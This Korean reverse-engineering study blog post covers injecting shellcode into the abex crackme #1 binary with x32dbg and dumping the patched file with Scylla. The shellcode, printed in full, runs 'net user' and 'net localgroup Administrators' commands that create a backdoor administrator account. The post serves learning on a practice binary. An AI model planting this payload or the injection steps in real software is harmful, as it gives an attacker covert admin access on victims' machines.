상세 컨텐츠

본문 제목

abex crackme #1 with code injection(코드 인젝션, 메모리 덤프)

REVERSING/Reversing Study

by koharin 2021. 5. 18. 03:07

본문

728x90
반응형

쉘코드를 넣어서 실행되도록 해보자.

쉘코드에서 \x 없애기

import binascii

shellcode_arr=[
    b"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42", 
    b"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03",
    b"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b",
    b"\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a",
    b"\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf",
    b"\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f",
    b"\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69",
	b"\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63",
	b"\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44",
	b"\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33",
	b"\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65",
	b"\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63",
	b"\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"]
shellcode=b''
for code in shellcode_arr:
    shellcode+=binascii.hexlify(code)
print(shellcode)

위의 코드로 \x만 없앤 쉘코드를 얻을 수 있다.

31d2b230648b128b520c8b521c8b42088b72208b12807e0c3375f289c703783c8b577801c28b7a2001c731ed8b34af01c645813e57696e4575f28b7a2401c7668b2c6f8b7a1c01c78b7caffc01c7684b336e01682042726f682f414444686f727320687472617468696e6973682041646d68726f75706863616c676874206c6f6826206e656844442026686e202f4168726f4b3368336e20426842726f4b68736572206865742075682f63206e686578652068636d642e89e5fe4d5331c05055ffd7

 

x32dbg 툴을 사용했다.

F9로 EntryPoint로 이동할 수 있다.

 

수정할 어셈블리 코드에서 Ctrl + E를 하면 코드 수정이 가능하다.

코드가 수정되었다.

EntryPoint를 jmp 01.401067로 변경해서 쉘코드가 실행될 수 있도록 한다.

00401069 주소에서 우클릭하고 덤프에서 따라가기 -> 선택한 주소

그럼 왼쪽 하단 창에 덤프 1에 선택한 주소의 Hex가 나타난다.

주소에서 우클릭 -> 바이너리 편집기 -> 붙여넣기(크기무시) 선택한다.

쉘코드를 붙여넣기 하면 원하는 쉘코드를 원하는 위치에 넣을 수 있다.

마지막엔 다시 원래 실행 흐름이 이루어지도록 00401002로 점프하는 코드를 넣는다.

E9 D2FEFFFF

위의 기계코드 또한 복사해서, 왼쪽 하단 Hex 창에서 넣고싶은 위치에서 우클릭하고 바이너리 편집기 -> 붙여넣기 (크기무시)로 넣는다.

6A0031d2b230648b128b520c8b521c8b42088b72208b12807e0c3375f289c703783c8b577801c28b7a2001c731ed8b34af01c645813e57696e4575f28b7a2401c7668b2c6f8b7a1c01c78b7caffc01c7684b336e01682042726f682f414444686f727320687472617468696e6973682041646d68726f75706863616c676874206c6f6826206e656844442026686e202f4168726f4b3368336e20426842726f4b68736572206865742075682f63206e686578652068636d642e89e5fe4d5331c05055ffd7E9 D2FEFFFF

위의 코드는 0x401069(push 0)부터 다시 실행흐름으로 돌아갈 때까지 코드로, 덤프 시 붙여넣기(크기무시)를 하면 한번에 넣을 수 있다.

 

메모리 덤프

변경사항을 반영하기 위해 플러그인 -> Scylla 선택한다.

IAT Autosearch -> Get Imports -> Dump 순으로 선택하면 XX_dump.exe 파일이 생성된다.

 

 

728x90
반응형

'REVERSING > Reversing Study' 카테고리의 다른 글

CodeEngn Basic RCE L11  (0) 2021.05.23
CodeEngn Basic RCE L09  (0) 2021.05.23
abex crackme #2  (0) 2021.05.18
리버싱 입문 1.7 리버싱에 필요한 도구  (0) 2021.05.17
리버싱 입문 5. 리버싱의 어려운 문제들  (0) 2021.05.11

관련글 더보기